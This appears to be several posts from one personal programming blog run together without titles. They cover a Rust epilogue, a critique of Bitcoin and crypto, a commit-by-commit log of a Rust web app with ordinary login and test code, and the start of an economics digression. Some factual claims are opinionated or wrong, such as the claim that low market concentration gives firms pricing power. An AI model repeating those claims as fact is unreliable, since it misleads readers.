Epilogue

I want to let you in a secret not many people know about me.

I used to like Go.

In fact, I'd say I've liked all the languages in my "main" four⁽⁴⁾ - being Python, JavaScript, Go, and Rust. I mean, there's a reason I've learnt them to the degree that I have.

But pretty much since the start of my professional career, my approval for them has been declining - admittedly some faster than others (looking at you JavaScript).

The one exception is Rust.

And I've been thinking about that. I think it makes sense for there to not be one "best" language, and that you should use the best tool for the job. But I can't reconcile that with the fact that in almost every situation I can think of, I would always choose Rust.

Out of the last 3 years there has only been one time that I have chosen a different language for my job that didn't have the usual external pressures that would make me not choose Rust.

It was an 8pm task (with an 11pm deadline because my friends wanted to play Overwatch) to quickly create a prototype involving a lot of concurrent streaming. Go was the obvious choice. Then the following day I rewrote said prototype into TypeScript because the same external pressures that would make me not choose Rust also apply to Go.

But the point still stands. It really struck me - that was the first time in many years when I. Did. Not. Choose. Rust.

Why?

If Rust really is the best language that can and should be used for basically everything, why isn't everyone else using it? Are they stupid?

Now believe it or not, I don't really want to think everyone is stupid,⁽⁵⁾ so maybe there's some other reason.

Since Rust is the newest language to me out of the "main" four, maybe it's just recency bias, and I'm still in the honeymoon phase. But I'm not convinced on that one, I started learning Rust in 2017 - that's plenty of time to fall out of love with it and is certainly a lot longer than what I've had with the other languages.

In fact my Rust usage has only been going up. I only like it more the more I learn about. Even as recently as the b8s post I said this in the epilogue:

But a website is like the one place I don't think Rust is that good for, I've tried it plenty of times and have never been particularly impressed.

I'll have you know that Numby actually changed that position. I would absolutely use Rust for a website now. I mean, I still probably won't rewrite this blog in Rust - I have much more interesting problems to solve (see what this post is about), but any future websites (that don't have previously stated external pressures) I have to make will most likely be in Rust.

Although, I don't really enjoy making websites Rust or not, so hopefully that situation never comes.

But yeah, I just don't get it. This obsession with Rust feels irrational to me, and I am somewhat concerned I can't rationalise my way out of it. Like don't get me wrong, there are things I've come to dislike about Rust. But I'm also for some reason a lot more willing to forgive Rust for its problems than I am with other languages.

Why?

Like am I in a cult? That seems to be how other people see the Rust community. But I don't even really interact with the Rust community, I would not consider myself part of it anymore than I am a member of the Go or Python community.

I don't fucking get it dude.

I dunno what to do… ;(

Bitcoin's hard cap of 21 million coins was supposed to be a feature, not a bug. No more money printing! No more inflation! Except this creates the opposite problem. When you have a limited number of Bitcoins never increasing, but the number of Bitcoin-denominated items keeps increasing, each Bitcoin has to represent more and more value. If Bitcoin were actually used as a currency, and the global economy grew by 3% a year, that means everything priced in Bitcoin would get 3% cheaper every year.

And of those 21 million coins, estimates suggest 3-4 million are permanently lost^[1] - forgotten passwords, dead hard drives, that dude in Wales who threw away a hard drive with 8,000 BTC and has been trying to excavate a landfill for years. So the effective supply is more like 17 million and shrinking. Every year, more coins disappear forever through death, accidents, and human error. "Be your own bank" sounds great until you realise banks solved the "I forgot my password" problem centuries ago.

When you expect your currency to be worth more tomorrow than today, you're not going to spend it. You're going to hoard it. Now on an individual level this might seem good - "Oh cool, I'm getting richer while doing nothing!" But this is catastrophic for an economy. When people stop spending, businesses see less revenue. They cut costs, lay off workers, reduce production. Those laid-off workers spend even less. The businesses that survive lower wages to match falling prices. Meanwhile, anyone with debt gets crushed - your mortgage stays the same while your income drops. Eventually the whole economy grinds to a halt.

This is called the deflationary death spiral. We don't need to theorise about this - history shows us what happens. The Great Depression saw deflation of about 25%, and the result was catastrophic: unemployment hit 25%, GDP collapsed by 30%, and thousands of banks failed. Japan experienced mild deflation (1-2% annually) in the 1990s, and it led to decades of economic stagnation - the "Lost Decades." When money gains value by sitting still, economies die.

This is why economists generally agree that mild inflation (2-3%) is actually good for an economy. That 2% target isn't arbitrary - it encourages people to spend or invest their money rather than hoarding it, keeps debt manageable (your fixed mortgage becomes easier to pay as wages rise), and gives central banks room to cut interest rates during recessions. It also solves the "sticky wages" problem - it's psychologically easier to give workers a 0% raise during tough times (a 2% real pay cut with inflation) than to actually cut their salary by 2%. A little inflation is the grease that keeps the economic machine running.

And I say economists "generally agree" for a reason. Obviously, not all economists subscribe to Keynesian economics, although it is the mainstream consensus for a reason. Most central banks and governments have adopted these policies because they've proven effective at managing economic stability - the post-WWII period saw far fewer and milder recessions than the pre-Keynesian era of boom-bust cycles.

But the Austrian School economists would argue that deflation is actually natural and beneficial - when productivity increases, prices should fall. They see the Great Depression not as proof that deflation is bad, but as evidence that government intervention made things worse. In their view, artificial inflation creates boom-bust cycles by sending false price signals that lead to malinvestment. They'd prefer a return to hard money like the gold standard, where money supply can't be manipulated by central banks.

Interestingly, most Austrian economists remain sceptical of Bitcoin despite sharing its hard money philosophy. They prefer gold because it has intrinsic value and thousands of years of monetary history. Bitcoin might have a fixed supply, but it's still just digital tokens backed by nothing but consensus.

Austrian economists like Robert Murphy have noted that Bitcoin poses challenges to Mises's "regression theorem" - the idea that money must evolve from commodities that had direct use value. So while Bitcoin maximalists often use Austrian economic arguments to justify deflationary currency, the actual Austrian economists aren't necessarily buying in.^[2]

The transaction fees and speed make using Bitcoin as a currency even more absurd. Even at current low-congestion rates, right now a Bitcoin transaction costs 350 sats⁽¹⁾ and takes about 10 minutes to confirm.^[3] During busy periods, fees can spike to 50,000+ sats with hours-long waits. Imagine standing at Starbucks for 10 minutes waiting for your payment to clear, then paying 350 sats in fees on your 5,000 sat latte. That's the best-case scenario - during the 2021 bull run, you'd wait hours and pay 50,000 sats in fees. Visa processes 65,000 transactions per second. Bitcoin manages… seven.

Although, in reality you might have already seen stores that accept Bitcoin, and the experience was nothing like that. And that's valid, but it's because they're almost always using payment processors like BitPay that instantly convert your Bitcoin to dollars. The merchant never actually touches Bitcoin - they get fiat. Others accept unconfirmed transactions and eat the fraud risk. For true peer-to-peer Bitcoin transactions, you're still looking at significant wait times and fees.

The Lightning Network is often proposed as a solution to these scaling issues. While it does enable faster and cheaper transactions through off-chain payment channels, it introduces its own complexities. You must still conduct on-chain transactions to open and close channels, incurring the original fees and delays. The network requires you to pre-fund channels and manage liquidity, creating a barrier to entry for non-technical users. And this tendency for payments to route through large hub nodes raises questions about centralisation. Most critically, Lightning doesn't address the core economic issue: if Bitcoin is primarily viewed as an appreciating asset rather than a medium of exchange, people will remain reluctant to spend it regardless of transaction efficiency.

Now, we like to be "Fair and Balanced™" here at quaso.engineering so I will admit there is some good to Bitcoin as a currency.

When Visa and Mastercard decide they don't like what you're selling, you're effectively banned from the modern economy. Steam has begun to remove adult games due to payment processor rules.^[4] OnlyFans nearly banned adult content under the same pressure. Sex workers, legal cannabis businesses, WikiLeaks - all have been cut off from accepting payments because two companies control the rails.

Whether or not you oppose what's being sold isn't the point.⁽²⁾ It's that two companies have the power to dictate what billions of people can and cannot purchase online. Today it's adult content, tomorrow it could be queer media, controversial books, or anything else that the duopoly decides they don't like, or is pressured into by a bunch of prudes.

This is kinda the raison d'être for Bitcoin, so it makes sense it can at least achieve censorship resistance to some level.

International transfers to developing countries can also benefit. Between developed countries, services like PayPal or Wise work fine. But sending money to countries with limited banking infrastructure or capital controls often means high fees (5-10%) or simply being unable to send money at all. In these specific cases, remittances to unbanked areas or transfers to/from restricted countries - Bitcoin provides an option where traditional systems fail.

So what about Bitcoin as an investment? This is where things get more reasonable, but with important caveats.

The general rule of thumb among financial advisors who aren't trying to sell you something is to allocate about 1% of your portfolio to Bitcoin. Why so little? Because Bitcoin is essentially a speculative asset with no underlying cash flows, no dividends, no earnings - its value is purely based on what someone else will pay for it tomorrow. It's digital gold, except gold has industrial uses and thousands of years of history as a store of value.

That said, a small allocation makes sense from a portfolio diversification perspective. Bitcoin has shown low correlation with traditional assets (though this breaks down during market crashes when everything correlates to 1). Its extreme volatility means even a small position can have meaningful impact on returns without torpedoing your entire portfolio if it goes to zero.

The key is treating it like what it is: a high-risk, high-volatility speculation. Not a currency, not "digital gold," not a hedge against inflation (it crashed 70% in 2022 while inflation hit 40-year highs). Just a volatile asset that might go up a lot or might go to zero.

But even as a pure investment, there are ethical considerations. Bitcoin mining consumes more electricity than entire countries - current estimates put it around 190 TWh annually,^[5] comparable to Argentina. The majority of this energy still comes from fossil fuels, despite industry claims about renewable adoption. You're essentially betting on an asset whose value creation mechanism is "burn electricity to guess numbers."

And while illicit activity represents a small percentage of total crypto volume, it still amounts to billions - Chainalysis tracked $22.2 billion sent from illicit addresses in 2023.^[6] And that's just what they can identify.

The common defence is that Bitcoin's public ledger makes it unsuitable for crime - why would criminals use something that records every transaction? This misses the point.

For ransomware operators and online fraudsters, the alternative isn't cash, it's not getting paid at all. Pseudonymous addresses combined with mixing services and cross-chain bridges make tracing difficult without massive resources. It's like saying criminals won't use cars because license plates exist. When law enforcement shuts down one mixer like Sinbad, criminals quickly pivot to alternatives like YoMix.

The issue isn't that criminals use Bitcoin - it's that buying Bitcoin provides the exit liquidity they need to cash out. Ransomware barely existed before cryptocurrency because there was no way to receive practically untraceable payments at scale. Now hospitals and schools get shut down by hackers who know they can get paid. Any investment into it helps maintain the system that makes these crimes profitable.

To be fair, many investments have ethical problems. Housing speculation drives up prices and makes shelter unaffordable. Oil stocks profit from environmental destruction. Tech companies violate privacy and exploit monopolies. The difference is that these at least produce something useful as a byproduct - housing provides shelter, oil provides energy, tech companies provide services. Bitcoin's only outputs are speculation opportunities and a payment rail for ransomware, while consuming nation-state levels of electricity. But yes, if you're concerned about ethics, you probably shouldn't be investing in most things.

The fact of the matter is, the wealthy now primarily gain more wealth by moving money around in complicated ways instead of producing anything of value. Bitcoin is now undoubtedly part of that game, as all other investments are. It's up to you if you want to play along.⁽³⁾

Speaking of moving money around in complicated ways, have you heard about the latest trend: companies transforming themselves into "Bitcoin treasury companies?" The playbook was pioneered by MicroStrategy, a software company with an unprofitable core business that somehow became a $100 billion company by buying Bitcoin.

MicroStrategy seems to have discovered an "infinite money glitch," in which the found that investors would pay a significant premium for their stock relative to the actual value of the Bitcoin they held. So they'd issue more stock or convertible bonds, use the proceeds to buy more Bitcoin, which drives up Bitcoin's price, which drives up their stock price, which lets them issue more stock at even higher prices. Rinse and repeat.

The CEO behind this strategy, Michael Saylor, isn't exactly new to creative accounting - he settled a $40 million tax fraud lawsuit with D.C.^[7] But his Bitcoin strategy has been wildly successful, at least on paper. MicroStrategy can now issue convertible bonds with zero interest because investors are essentially buying lottery tickets on the stock's volatility, which exceeds even Bitcoin's notorious price swings.

Now, over 130 companies now collectively own more than 3% of the total Bitcoin supply, a nearly 170% surge in the past year.^[8] The Smarter Web Company, a modest web design firm in Guildford, saw its market cap explode from £3.7 million to nearly £1 billion after announcing Bitcoin purchases.^[9] Even GameStop, the meme stock darling, jumped on the bandwagon.^[10]

The playbook is simple - announce you're buying Bitcoin, watch your stock price soar, issue more shares or debt at inflated prices, buy more Bitcoin.

So, why would you pay huge premiums for companies that just own Bitcoin when they could… just buy Bitcoin? Good question. Bitcoin ETFs already exist. But apparently, the complexity and leverage make it more exciting.

These companies can issue debt to buy more Bitcoin, amplifying both gains and losses. They attract options traders who want leveraged exposure. Some investors prefer the familiar structure of owning stock rather than dealing with crypto wallets and exchanges. Others are drawn to the volatility - MicroStrategy's stock often moves 2-3x more than Bitcoin itself, creating a high-stakes derivative play.

The risks are obvious. These strategies haven't been tested by a prolonged crypto winter. Companies loaded with debt to buy Bitcoin at $100,000 might struggle if it drops to $30,000. Shareholders who didn't sign up for their operating company to become a leveraged crypto fund might revolt. But for now, while the music's playing, everyone's dancing.

It is kinda funny though, Bitcoin was created in response to the 2008 financial crisis as a decentralised alternative to traditional finance. Now Wall Street has turned it into just another financial engineering tool, complete with derivatives, leverage, and all the complexity that caused the crisis in the first place. Companies that actually make things are abandoning their businesses to become crypto hedge funds because the stock market rewards Bitcoin hoarding more than actual productivity.

As for other cryptocurrencies? They fail even harder as currencies. They take all of Bitcoin's problems and add new ones - even less adoption, worse liquidity, and often centralised ownership where founders hold 20-50% of tokens. At least some people pretend Bitcoin is "digital gold." Nobody even pretends Dogecoin or Shiba Inu are anything but gambling tokens. They're purely speculative assets with meme-based marketing, riding on Bitcoin's coattails while offering nothing but more volatile casino chips.

I wouldn't consider gambling to be in the same vein as investing. Which is why all my gambling is limited to rolling for anime waifus, so I would stay away from all of these memecoins if I were you.⁽⁴⁾

A few cryptocurrencies try to solve the utility problem, like Ethereum and Solana. But they just created new problems. DeFi turned out to be mostly circular lending schemes that regularly get hacked for millions. NFTs were supposed to revolutionise digital ownership but became wash-traded JPEGs. DAOs promised decentralised governance but discovered you can't govern by code when someone exploits your code, nor do you want a project governed by a bunch of terminally online LARPers.

Web3 didn't live up to the hype because it died, it was never alive to begin with.

Every year I try to find something that I want to spend my Ethereum on. What I talk about in this post is the closest I've ever gotten, and I conclude it with saying (paraphrased): "this only kinda works, so hopefully it gets better in the future."

So has it gotten better?

FUCK. NO.

Oh, but Justin it's only been 4 years since you wrote that! This stuff takes time!

Shut the fuck up idiot. Two years is the difference between OpenAI's GPT-1 and GPT-3, which was a jump so large I thought it would take three times as long at the time.

Look, I like cool and interesting technology. I really believed that this Web3 shit could have been that, but for whatever reason,⁽⁵⁾ the bag has been fumbled majorly.

It'd be nice to be proven wrong on this, but I just don't see that happening especially with all the negative PR. The term "blockchain" has become so toxic that legitimate technologists actively avoid it. Say you're building a "blockchain application" and people immediately assume you're launching another rugpull token. The association with scams, NFT grifts, and crypto bros has poisoned the well for anyone trying to build actual useful technology.

The technology may have legitimate uses, but it's been so thoroughly associated with fraud that it's become a career-limiting move to work on it.

Epilogue

I do wonder if I'm treading the same ground as this with LLMs. Maybe in a few years you'll see me post "I Know You Don't Want To Hear My Opinions On Quantum Computing, So Here's My Opinion On AI Instead."⁽⁶⁾

So have you seen that gacha game that has become all the rage these days? The one where the girls are horses. Seems pretty cool. Though I've not tried it since I already play the gacha games where the girls are guns, which is a lot more appealing to me personally, and I don't really want to play two gachas.

And yes, that does mean I have been able to "Fill The Kakfa Shaped Hole In My Heart" with Makiatto (pictured).

She's such a dork. 😍

Anyway, I hope you checked the sources of my extraordinary claims in this post ;)

But the news is true - I have been working on it for a month, and all I have to show for that time is a login screen.

I've been spending a lot of time thinking about all the things I've hated or been annoyed by in every codebase (but mostly $DAY_JOB) I've had the displeasure of contributing to. And it looks like that has caused me to completely overcompensate and completely overengineer Numby (which again, I'm not going to explain anything about).

So I thought it would be fun if we went through every commit I've made so far and see what led me down this dark path.

1. [a6a9d39] first commit

For the past four years I've been doing an annual state of Rust web development survey during new years, because believe it or not, even though Are we web yet? has been saying we've been web for the past five years - we really haven't.

I'm sorry gamers, but web dev in Rust just hasn't been that good until recently. Some of that has been because of the clusterfuck called async and webassembly kinda not being all that right now, but most of it is because people keep thinking to make Rust popular with web devs you need to make a React for Rust.

And let me tell you, the problem with React isn't that it's written in JavaScript - the problem is that it's React and React fucking sucks, and having React (but made in Rust) isn't going to fix any of its numerous problems.

Thankfully our obsession with "web frameworks" is being questioned thoroughly these days, and we have proper alternatives now.

The one I chose for Numby is Datastar, which "brings the functionality provided by libraries like Alpine.js (frontend reactivity) and htmx (backend reactivity) together, into one cohesive solution."

I'll go over it more when we get to the commit where it's actually used, but I recommend you read up on it before because I probably won't explain much about it.

A big annoyance I have with pretty much every project is managing dependencies and environments, not just the language libraries you install, I mean all dependencies - language versions, tooling, everything that you need to run the thing.

Common ways of solving this amount to using Nix or Dev Containers. Let's start with Nix.

Nix is a great idea, but it has the worst fucking UX I have ever seen in my life and that is no exaggeration. I started using Arch Linux at the age of 13 as my first Linux distro and I had an easier time with that then trying to properly learn Nix two years ago⁽¹⁾ as a 23 year old with 5 years of professional software engineering experience. I don't like Nix, and that's before considering all the bullshit going on with its leadership.

And as for Dev Containers - I don't use VS Code, so I can't use it. Seems ok though.

Instead, I'm using mise, which is a very cool piece of software (written in Rust).

mise installs and manages dev tools/runtimes like node, python, or terraform both simplifying installing these tools and allowing you to specify which version of these tools to use in different projects. mise supports hundreds of dev tools.

mise manages environment variables letting you specify configuration like AWS_ACCESS_KEY_ID that may differ between projects. It can also be used to automatically activate a Python virtualenv when entering projects too.

mise is a task runner that can be used to share common tasks within a project among developers and make things like running tasks on file changes easy.

While in this "first commit," mise wasn't used much, but eventually I started learning a lot more about its capabilities and holy shit, this thing fucking rocks.

If you were to pull the latest commit, all you need installed is mise and podman + podman compose.⁽²⁾

Then you run three commands.

mise install

This installs every tool you need to run Numby. It sets the correct Rust version, installs bun (for Datastar and TailwindCSS), and installs cli tools - cargo watch, sqlx-cli, and clorinde (I'll explain this one later). All set to the correct version contained to the project.

mise app:setup

This runs the podman compose command to start up the containers for Postgres and Valkey, then runs migrations on them.

mise app:start

And this is hopefully self-explanatory.

So, three commands. Isn't confusing as shit. Doesn't depend on a dog shit editor trying to be an IDE.⁽³⁾ It's fucking sick. It's a tour de force of what Rust is capable of and enables you to do. A MASTERCLASS IN HOW TO WRITE NOT SHIT SOFTWARE.

All right, I don't know why I'm so worked-up and angry, but I really want to shit on something now. Let's go for an old favourite - ORMs.

We all hate ORMs in this house. Remember that time when I wrote an essay in my company Slack explaining why I hate ORMs? Good times, 2020 was one of the best years of my life.⁽⁴⁾

Anyway, some people ask me what they should use for querying the database if not an ORM. And I mean, it's called "writing the query yourself." I'm a big believer in using the Structured Query Language to talk to the service with Structured Query Language in its name.

There's this really cool Rust library called Cornucopia which takes your SQL queries and turns them into Rust types to use in your code. Unfortunately it looks unmaintained.

So I forked it.

This is Clorinde⁽⁵⁾ which I made to add a bunch of improvements. The most important of which is crate-based code generation which makes the setup much simpler, and improves a bunch of other things you don't need to care about. It's pretty neat, uhh… maybe give it a star on GitHub? I dunno, up to you. But like, it would be pretty pogchamp of you if you did.

The last big thing I wanted was telemetry. Having observability into the platform is very useful for pinpointing issues. I've been using Sentry for pretty much everything for many years, but I've made the switch to OpenTelemetry for this.

While I don't think OpenTelemetry is that great, it's been getting better and is practically the standard, so I think it's a pretty safe bet to use now.

Alright, that was a lot, but it was the first commit. The rest won't be like this.

2. [26e8ef0] feat: add auth session

Ok so I hear that you shouldn't roll your own auth a lot. But I've also never seen an auth service that doesn't either create very annoying vendor lock-in, or suck ass. And most of the time they are both.

However, I also don't want to write my own auth because that shit is SO BORING. So I went for a compromise - using an auth library, specifically axum-login.

So far it's been fine, it is (almost) everything I want, and is simple to use.

However, I can't shake the feeling that I'd probably have something better if I wrote it myself. I can see a future where I rewrite all of this.

But we'll burn that bridge when we get to it.

3. [7c903f4] feat: add login page

Wait, three commits in and we're already at the login page?

How many commits are there?

14.

Ah, fuck.

Yeah, so this is the one where I add the long awaited login page. And I guess it's time to talk about Datastar.

Datastar is neat because it fulfils my life-long dream of never having to write JavaScript. Here's a very abridged version of the login page.

pub struct Credentials {
    pub email: String,
    pub password: String,
}

pub async fn get_login() -> maud::Markup {
    html! {
        form {
            div {
                div {
                    label for="email" { "Email Address" }
                    input data-bind-email #email type="email";
                }
                div {
                    label for="password" { "Password" }
                    input data-bind-password #password type="password" autocomplete="on";
                }
            }

            div #error {}

            a data-on-click="@post('/login')" { "Sign In" }
        }
    }
}

pub async fn post_login(
    mut session: AuthSession,
    ReadSignals(creds): ReadSignals<Credentials>,
) -> impl IntoResponse {
    match session.login(creds).await {
        Ok(_) => {
            Sse(stream! {
                yield ExecuteScript::new("window.location.assign('/')").into()
            })
            .into_response()
        }
        Err(e) => {
            tracing::error!("{}", e.to_string());
            Sse(stream! {
                yield MergeFragments::new(html! { p { "Incorrect email or password." } })
                    .selector("#error")
                    .merge_mode(datastar::prelude::FragmentMergeMode::Inner).into()
            }).into_response()
        }
    }
}

As I said before, I encourage you to read up on Datastar yourself, specifically sections about Server-Side Events. This is a pretty poor example of what it can really do, but I don't have anything better because of… well you know.

Also, you should have noticed I'm using Maud for HTML templating. Maud is great because it isn't XML syntax. FUCK XML. It's also a lot more composable than other Jinja-like templating libraries, which you can use to make isolated components. Combined with Datastar, it's pretty powerful.

4. [25501e3] feat: add tests

TESTS! YIPEE!!!

This is actually the earliest I've ever written tests when starting a project. It normally hasn't actually been that big of a priority for me. So what's changed and caused me to see the light?

If your guess is the experience of constantly having to fix very preventable bugs over the course of my seven year career, your guess is… WRONG. Better luck next time idiot.

The answer is Clorinde. The uhh, library I maintain, not the Genshin Impact character.

The original authors of Cornucopia made a very comprehensive and reliable test suite. And it has been SO HELPFUL. Not only is it a good way of learning about the library, and what it can and can't do. It also gives me an immense amount of confidence when changing things and making sure there are no regressions.⁽⁶⁾

It has made me realise the true power of tests (and that everyone else, including me, does not write good test suites), especially when combined with the high amount of confidence you get that the code will work just from it being written in Rust.

Anyway, this commit only includes integration tests, but others will be added later. I also wanted to make sure they are "deterministic." That being making sure a new database is spun up using Testcontainers with test data fixtures applied so that I can be a lot more certain on what data is being used for testing.

At $DAY_JOB, integration tests are run on the database we also use for development. That shit SUCKS. And we often forget to clean up any test data we make, so my dev env is filled with a bunch of bullshit. YUCK.

Right now the worst part about Rust web dev is that this isn't well trodden ground and there aren't many examples on how to do this stuff (most stuff in general actually, not just tests). I had to figure out a lot of this on my own. Thankfully, this isn't a real issue for good programmers like me :)

5. [93db8aa] fix: login method for context

This is just a fix to the tests. Nothing much to see. NEXT.

6. [970e054] feat: add cache busting

I decided I needed to add something for cache busting assets. I mean, pretty self-explanatory.

Here I'm using a crate called cache-busters, which I found from the Rust on Nails guide.

This isn't an endorsement of Rust on Nails, I actually don't like it that much. It's very close to being something I can agree with and get behind (we've come to a lot of the same conclusions), but it's just not how I would want to build something.

Mostly I don't understand the desire to put everything in separate crates when everything is required to build into the one binary. I don't think isolation makes any sense for that, because it's literally not isolated.

7. [0f90e81] chore: add mathesar for admin

A thing I've had to do my entire career is build and maintain an "admin portal" for non-engineers to use and be able to edit a few database tables. Normally, this would be in the app accessible only through certain permissions.

And can I just say. I am fucking SICK AND TIRED of making admin portals. I don't want to do it anymore!! It's literally the most basic CRUD shit you could think of.

I also don't really like having it in the app. I know there's technically nothing wrong with it as long as your access control layer works, and that isn't hard as long as you stay vigilant, but it still doesn't feel great to me.

So I'm trying out Mathesar for this, so far it seems pretty good. I also looked at Budibase, but I don't think I'll need all those features, and Mathesar looks easier to self-host.

8. [e7a55a1] chore: move to cacheb

So about that cache busting library, "cache-busters" I just talked about. Yeah, it kinda sucks. The code it generates is in my opinion, not that well thought out and is unformatted⁽⁷⁾ - in particular it puts all the files in a flat structure to import. So if you had something like this where you have files with the same name but in different directories.

file.js
my-directory/
  file.js

It no work good.

So I forked it.

This is cacheb, it's basically the same expect it creates imports according to the directory structure and properly formats the code. There are also tests.

9. [51b67a4] chore: license as FSL

Functional Source License (FSL) is a Fair Source license created by Sentry.

Originally Numby's code wasn't supposed to be public, but due to reasons I can't divulge because that would require me to explain Numby, I changed my mind and licensed it under FSL.

Do what you will with that information.

10. [bf60f3a] fix: build.rs

This is me fixing the build.rs and doing a small restructure of the static assets.

11. [9373253] chore: fix tracing

And this is me fixing the tracing. I don't know why the commit message is chore and not fix.

12. [2c17dd5] chore: change test structure

I mentioned previously that the current tests are just integration tests for the Axum API routes. This commit is me making a bunch of changes to support a proper "testing pyramid" - that is, running unit tests, integration tests, and end-to-end (e2e) tests.

This basically just amounts to setting feature flags for it. You can see how they should be run in the mise.toml.

[tasks."test:unit"]
description = "Run unit tests"
run = "cargo test --bin numby"

[tasks."test:integration"]
description = "Run integration tests"
run = "cargo test --features test.integration"

[tasks."test:e2e"]
description = "Run end-to-end tests"
run = "cargo test --features test.e2e"

13. [b76351a] feat: add public graphql api

Numby is most likely going to need a public API because of reasons that… well, you should be getting used to this by now.

Many people have said that GraphQL isn't good for public APIs and should only be used for internal ones. But while I use they/them, I am not many people.⁽⁸⁾

Here's a list of scenarios it would not be a bad idea to use GraphQL for.

• When you have a clear and distinct separation between the service API and the consumer. Both in technology and persons.

That's it.

This applies to organisations with separate front-end and back-end teams, but also equally applies to a public API and everyone else.

GraphQL moves complexity from the front-end to the back-end. For an organisation with separate teams, that's useful because front-end people already have enough shit to deal with (especially if they use React), and having a standard like GraphQL minimises communication errors.

It's harder to design a good REST API than a good GraphQL schema. For a public API this is important because you want the API to be clean and ergonomic so that people will actually use it while not hating you and everything you stand for.⁽⁹⁾ It's also much easier to document.

But, for your average "full stack developer" there are not enough pros to GraphQL to justify the added complexity. Having to do a bunch of shit to deal with things that just weren't a problem before (eg. N+1 problem, query caching, access control, etc) is not worth it.

The one thing against a public GraphQL API is that not everyone knows how to use GraphQL. To that I say -

Skill issue.

Don't use my APIs if you're a bad programmer. And that is my genuine, 100% serious opinion.

14. [c8f8768] feat: add auth e2e test

This is the last commit we're going to look at. And wow, what a doozy it is.

These are e2e tests using Selenium and Cucumber. I've used Cucumber on a few projects for clients and it's legitimately pretty useful for getting them to properly explain what they want and be able to confirm it works.

It allows for the creation of human-readable test scenarios that describe how a system should behave from a user's perspective. These scenarios are organized into feature files with steps written in a Given-When-Then format, where "Given" sets up preconditions, "When" describes actions, and "Then" verifies outcomes.

Feature: Authenication feature

  Scenario: If we log in with correct credentials we will login
    Given a webdriver
    When we go to /login
    When we input correct credentials
    Then we are logged in

Then the scenarios are then mapped to executable code through step definitions.

#[given("a webdriver")]
async fn webdriver(world: &mut CommonWorld) {
    world.driver = Some(
        world
            .config
            .get_driver()
            .await
            .expect("Couldn't get webdriver"),
    );
}

#[when(regex = r"^we go to /(.+)$")]
async fn navigate_to_path(world: &mut CommonWorld, path: String) {
    let driver = &world.driver.as_ref().expect("no webdriver");
    let url = format!("{}/{}", world.config.host, path);
    driver
        .goto(&url)
        .await
        .expect(&format!("Failed to navigate to /{}", path));
}

#[when("we input correct credentials")]
async fn input_correct_credentials(world: &mut CommonWorld) {
    let driver = &world.driver.as_ref().expect("no webdriver");
    // ...
}

#[then("we are logged in")]
async fn verify_logged_in(world: &mut CommonWorld) {
    let driver = &world.driver.as_ref().expect("no webdriver");
    tokio::time::sleep(tokio::time::Duration::from_secs(1)).await;
    let current_url = driver
        .current_url()
        .await
        .expect("Failed to get current URL");
    assert!(current_url.as_str().contains("/"));
}

It's a lot more effort to setup than just basic Selenium tests, but once you have a bunch of reusuable steps, it becomes much easier to write than them.

Now that all this setup shit has been done, what's next for Numby? What great features await us?

Well, believe it or not. I'm not done with the setup shit.

I probably need a few helper functions to manage Row Level Security in Postgres. If you don't know what that is, you should probably find out - it's one of Postgres' best features.

I also need to add the OpenTelemetry web-sdk, for telemetry on the browser, as the current telemetry is server side only.

Next I want to figure out what I'm doing with deployment infrastructure. The obvious answer is Kubernetes and Pulumi, but I think it might not be too hard to edit b8s into something that works for Numby. And if that's the case, I may as well properly productionise it and make it more general purpose for other- and oh my Bidoof I'm just thinking about turning it into Kubernetes. Let's not do that.

Or maybe I should?

Epilogue

I've been sick, and I've only had like ten hours of sleep the past the past three days, which might explain why I've been so… aggressive in this post. The Overwatch 2 x LE SSERAFIM collab came out right at the start of this too, so I've been listening to LE SSERAFIM all day and night.

My favourite song is "Eve, Psyche & The Bluebeard’s wife."

Anyway, why don't we talk about you for a change? What have YOU been up to?

…

Uh-huh, silent as always. And I thought I was the one with social anxiety disorder.

You know over the past 7 years this blog has existed, I have given you so many gold nuggets in the form of my wisdom and eternal knowledge.

But what have I ever recieved in return?

Nothing.

You owe me a great debt. I hope you know that. Collection day will come.

Be prepared for that.

In this yearly edition of posts celebrating this blog's birthday which almost always immediately derail into depressive rants, I'm going to be explaining gender identity, so I have something to reference back other people to when they somehow find out I use they/them pronouns,⁽¹⁾ and want to know "why?"

Although I probably won't show them this post because I literally opened it with calling you all "fuckers," and that's a bit mean.

Anyway we're going to take on a bit of a detour first as to understand gender, we must first understand the economic supply and demand curve.

What's often called "Economics 101" and used as the basis for many Internet arguments I see, is just that - "101," the introductory course, a simplification for something much more complex.

Consider the fundamental causality problem. The model first asks "At price P, how much will firms produce?" suggesting price determines quantity. But when explaining market dynamics, it suddenly flips to say excess quantity drives price changes. This is like having a circular equation where P = f(Q) and Q = g(P) simultaneously, which creates a logical paradox. For example, if we say a firm will produce 100 units at $5, but then that 100 units causes the price to drop to $4, what was the actual relationship between price and quantity?

The inconsistencies become even clearer when we model more realistic firm behaviour. Take our earlier example with two firms and a demand curve P = 17 - (Q1 + Q2).⁽²⁾ If we ask "What quantity would you produce at $5?", Firm 1 might say 9 units and Firm 2 might say 8 units. But these quantities would drive the price to:

P = 17 - (9 + 8) = 17 - 17 = $0

This forces both firms to recalculate their quantities, leading to a different equilibrium, perhaps:

Q1 = 6
Q2 = 5
P = 17 - (6 + 5) = 17 - 11 = $6

These equations show how market concentration affects prices in ways the simple supply-demand model can't capture. When concentration is small, firms have significant price-setting power, invalidating the assumption that they're "price takers."

External factors further complicate the picture. Government regulations like price floors or ceilings create kinked demand curves. Taxes shift curves in complex ways - a $1 tax doesn't simply shift the supply curve up by $1 because it changes the underlying production decisions. Economic cycles can cause both curves to shift simultaneously, making it impossible to isolate individual effects.

Price elasticity adds another layer of complexity. The model draws straight or gently curved lines, but real demand curves can have sharp kinks and varying slopes. Essential goods like insulin have nearly vertical demand curves at certain quantities, while luxury goods might have multiple elastic and inelastic regions.

None of this is to say that the supply-demand model should be "abolished," it's still a useful model and there's a reason it's taught.⁽³⁾ But the key is understanding when its simplifying assumptions are appropriate and when more sophisticated models are needed.

It's like how we still use Newtonian physics when modern physics is a much more accurate model of the universe. Newton's laws of motion and gravity work remarkably well for everyday calculations - from launching satellites to designing buildings to calculating the trajectory of a baseball. Engineers and architects still rely on these equations because they're simple, intuitive, and provide extremely accurate results within the scope of normal human experience.

It's only when we look at the very small (quantum scale), the very fast (near light speed), or the very massive (astronomical scale) that Newton's equations start to break down, and we need Einstein's relativity or quantum mechanics. For instance, Mercury's orbit couldn't be fully explained by Newtonian gravity, and GPS satellites need to account for relativistic time dilation to maintain accuracy. But just as we don't need quantum mechanics to build a bridge or relativity to calculate how long it takes a car to stop, we don't always need complex economic models to understand basic market behaviour.

